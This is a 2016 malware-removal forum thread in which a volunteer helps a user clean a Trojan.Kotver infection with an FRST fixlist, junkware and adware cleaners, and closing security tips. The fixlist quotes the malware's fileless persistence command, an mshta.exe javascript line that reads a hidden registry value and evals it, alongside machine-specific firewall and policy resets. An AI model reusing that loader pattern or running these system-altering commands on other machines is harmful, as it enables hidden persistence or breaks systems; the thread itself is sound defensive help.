Another Trojan.Kotver!gm2 case

cfdboy304
New Helpee

Posts: 3

Another Trojan.Kotver!gm2 case Oct 9, 2016 20:39:55 GMT -8

Quote

Post by cfdboy304 on Oct 9, 2016 20:39:55 GMT -8

Hello I have a one month old HP Pavilion with intel i5 running Win 10 and Norton Security suite. I am getting constant pop-ups from Norton about Trojan.Kotver!gm2 or Trojan.Kotver!lnk being blocked. I've run their 'Power Eraser' tool and followed all steps they have to offer but it has not fixed the issue. I have run the FRST tool as indicated in your intro posting and attached the FIRST log file here. I have tried to attach 'Addition.txt', even copied contents to another file and tried to attach, but I get an error that it is forbidden to attach. If there is any additional info you need please let me know.

Thanks for your help!

Attachments:

FRST.txt (154.63 KB)

Last Edit: Oct 9, 2016 20:44:22 GMT -8 by cfdboy304

cfdboy304 New Helpee Posts: 3	Another Trojan.Kotver!gm2 case Oct 9, 2016 21:21:40 GMT -8 Quote Select Post Deselect Post Link to Post Member Give Gift Back to Top Post by cfdboy304 on Oct 9, 2016 21:21:40 GMT -8 Here is wikisend link for 'Addition.txt': wikisend.com/download/645766/Addition.txt

dbrisen
Malware Removalists

Posts: 3,688

Another Trojan.Kotver!gm2 case Oct 9, 2016 22:24:52 GMT -8

Quote

Post by dbrisen on Oct 9, 2016 22:24:52 GMT -8

FIRST >>>>

Open notepad by pressing the Windows Key + R key, typing notepad in the Run box and pressing Enter. Please copy the contents of the quote box below. To do this highlight the contents of the box and right click on it and select copy. Paste this into the open notepad. Save it to your desktop as fixlist.txt

Start
CreateRestorePoint:
CloseProcesses:
HKU\S-1-5-21-897774542-4212315926-3242695151-1001\...\Run: [**lugks<*>] => "C:\Users\bogeh\AppData\Local\6c2cad\a8e7df.lnk" <===== ATTENTION (Value Name with invalid characters)
Startup: C:\Users\bogeh\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8a43a8.lnk [2016-10-09]
C:\Users\bogeh\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8a43a8.lnk
SearchScopes: HKLM-x32 -> {22BE3B59-079D-41CF-88E5-277FCF8438B8} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us2-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
SearchScopes: HKU\S-1-5-21-897774542-4212315926-3242695151-1001 -> {22BE3B59-079D-41CF-88E5-277FCF8438B8} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us2-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
FF NewTab: Mozilla\Firefox\Profiles\5bs96frc.default -> hxxp://search.swagbucks.com/?f=51
FF Homepage: Mozilla\Firefox\Profiles\5bs96frc.default -> hxxp://search.swagbucks.com/?f=51
FF Extension: (SwagButton) - C:\Users\bogeh\AppData\Roaming\Mozilla\Firefox\Profiles\5bs96frc.default\Extensions\shopearn@prodege.com.xpi [2016-09-04]
C:\Users\bogeh\AppData\Roaming\Mozilla\Firefox\Profiles\5bs96frc.default\Extensions\shopearn@prodege.com.xpi
CHR Extension: (Google Drive) - C:\Users\bogeh\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2016-08-27]
CHR Extension: (Chrome Web Store Payments) - C:\Users\bogeh\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2016-08-27]
R2 ibtsiva; %SystemRoot%\system32\ibtsiva [X]
C:\Windows\system32\ibtsiva
S3 dbx; system32\DRIVERS\dbx.sys [X]
C:\Windows\system32\DRIVERS\dbx.sys
2016-10-09 00:05 - 2016-10-09 23:26 - 00000000 ____D C:\Users\bogeh\AppData\Local\6c2cad
2016-10-09 00:05 - 2016-10-09 00:05 - 00000000 ____D C:\Users\bogeh\AppData\Roaming\caf21b
2016-10-09 15:50 - 2016-09-02 23:30 - 00000180 _____ C:\WINDOWS\system32\{A6D608F0-0BDE-491A-97AE-5C4B05D86E01}.bat
2016-10-01 00:09 - 2016-09-02 23:30 - 00000200 _____ C:\WINDOWS\system32\{EC94D02F-D200-4428-9531-05AF7F9799CB}.bat
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Priceline.com.lnk -> C:\Program Files (x86)\HP\Shared\WizLink.exe () -> hxxp://www.priceline.com/?refid=PLHBC6240OPQ&refclickid=square
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\McMPFSvc => ""="Service"
HKU\S-1-5-21-897774542-4212315926-3242695151-1001\Software\Classes\51bc0c: "C:\WINDOWS\system32\mshta.exe" "javascript:lh4HQTAj4="Snh";X6P=new ActiveXObject("WScript.Shell");XKjB5Fql="eV";t4SnJ5=X6P.RegRead("HKCU\\software\\xicg\\ozrhftpho");ugg3A="1CyZ";eval(t4SnJ5);kj5IDCJA="YUnL";" <===== ATTENTION
DeleteKey: HKU\S-1-5-21-897774542-4212315926-3242695151-1001\Software\Classes\51bc0c
DeleteKey: HKCU\\software\\xicg
cmd: ipconfig /flushdns
cmd: netsh advfirewall reset
cmd: netsh advfirewall set allprofiles state on
Reg: reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f
Reg: reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f
CMD: bitsadmin /reset /allusers
RemoveProxy:
EmptyTemp:
Reboot:
end

NOTE. It's important that both files, FRST64 and fixlist.txt are in the same location or the fix will not work.

NOTICE: This script was written specifically for this user, for use on that particular machine. Running this on another machine may cause damage to your operating system

Start FRST that is on the desktop by right clicking on file and selecting "Run as Administrator..." and press the Fix button just once and wait.

If for some reason the tool needs a restart, please make sure you let the system restart normally. After that let the tool complete its run.
When finished FRST will generate a log on the Desktop (Fixlog.txt). Please post it to your reply.

SECOND >>>>

Junkware Removal Tool
Please download JRT from here to your desktop.

Note: Temporarily disable/shut down your protection software now to avoid potential conflicts, how to do so can be read here.

Double click the JRT.exe file to run the application.

The application will open an Command Prompt window and run from there (this is normal for this program, so not to be alarmed).

When it is asked, press any key to allow the program to continue / run.

This will create a log on the desktop; please copy and paste the JRT.txt log text in your next post.

Note: After the log file is created, please enable your protection software / reboot your system and verify your protection software is enabled.

THIRD >>>>

AdwCleaner by Xplode

Download AdwCleaner from here or from here. Save the file to the desktop.

NOTE: If you are using IE 8 or above you may get a warning that stops the program from downloading. Just click on the warning and allow the download to complete.

Close all open windows and browsers.

Vista/7/8 users: Right click the AdwCleaner icon on the desktop, click Run as administrator and accept the UAC prompt to run AdwCleaner.
You will see the following console:

Click the Scan button and wait for the scan to finish.

After the Scan has finished the window may or may not show what it found and above, in the progress bar, you will see: Waiting for action. Please uncheck elements you don't want to remove.

Click the Clean button.

Everything checked will be deleted.

When the program has finished cleaning a report appears.

Once done it will ask to reboot, allow this

On reboot a log will be produced please copy / paste that in your next reply. This report is also saved to C:\AdwCleaner\AdwCleaner[C#].txt

Optional:
NOTE: If you see AVG Secure Search being targeted for deletion, Here's Why and Here. You can always Reinstall it.

Also, how is your system running now? Any unusual things happening after boot up or any other time?

I will not provide malware removal by PM; please post in your thread on the Malware Removal board.
My help is always free but if you would like to help encourage me or show your thanks -----> DONATE

cfdboy304
New Helpee

Posts: 3

Another Trojan.Kotver!gm2 case Oct 10, 2016 16:08:18 GMT -8

Quote

Post by cfdboy304 on Oct 10, 2016 16:08:18 GMT -8

I completed all steps you mentioned and it appears to be fully resolved! Attached are the output log files. Other than this issue haven't had any big problems with this computer other than audio playback sometimes being choppy and garbled, though I don't think that was due to the virus.

If you see any other issues in the logs please let me know, otherwise thank you very much for your help!

Attachments:

AdwCleanerC0.txt (1.15 KB)

Fixlog.txt (8.69 KB)

JRT.txt (758 B)

dbrisen
Malware Removalists

Posts: 3,688

Another Trojan.Kotver!gm2 case Oct 10, 2016 18:49:37 GMT -8

Quote

Post by dbrisen on Oct 10, 2016 18:49:37 GMT -8

We need to remove the tools we've used during the cleaning of your machine.

[/a]
Ensure the following is ticked:
Activate UAC
Remove disinfection tools
Create registry backup
Purge system restore
Reset system settings
[/ul]

Then click Run. The program will run for a few moments and then notepad will open with a log.

Please paste the log in your next reply. Once you have the log file saved, please reboot your system to complete the clean up process.

Your system looks clean and your logs are fine. Unless you want something else done, you are done and free to go.

Final words from me: Surf safely, and watch when installing or letting anything add itself to your system. Remember, the best security is not on your system but in the chair in front of it. Take care and thanks for sticking with us in this rushed time.

=== options ====
Unchecky is a small service that runs in the background to help keep those "extra toolbars" and tag along search engines from automatically installing. By automatically directing you to a custom install with all the options unchecked, only what you manually choose and confirm gets installed.

CryptoPrevent is a free program that prevents CryptoLocker / ransomware from infecting your PC by locking down the OS so the malware can not get a grip on your system. You can read the details about this program here.

Also, consider adding MalwareBytes Antimalware to your arsenal of safe keeping programs. Use the free version (not the paid or trial version) and you won't have a problem with your antivirus scanner program. Keep it updated and run a scan with it once a week.

Lastly, if you use Firefox as your main web browser, consider adding the NoScript and AdBlockPlus add-ons to the browser to block scripting hijacks and remove unwanted ads from the pages you view.

You may also find some information and tips at this thread:
How did I get infected in the first place?
and
COMPUTER SECURITY - a short quide to staying safer online

I'll leave this topic open for a few days so that if you have any questions you can come back here. Surf safe, my friend!!

Last Edit: Oct 10, 2016 18:50:11 GMT -8 by dbrisen

I will not provide malware removal by PM; please post in your thread on the Malware Removal board.
My help is always free but if you would like to help encourage me or show your thanks -----> DONATE

Another Trojan.Kotver!gm2 case

Post by cfdboy304 on Oct 9, 2016 20:39:55 GMT -8

Post by cfdboy304 on Oct 9, 2016 21:21:40 GMT -8

Post by dbrisen on Oct 9, 2016 22:24:52 GMT -8

Post by cfdboy304 on Oct 10, 2016 16:08:18 GMT -8

Post by dbrisen on Oct 10, 2016 18:49:37 GMT -8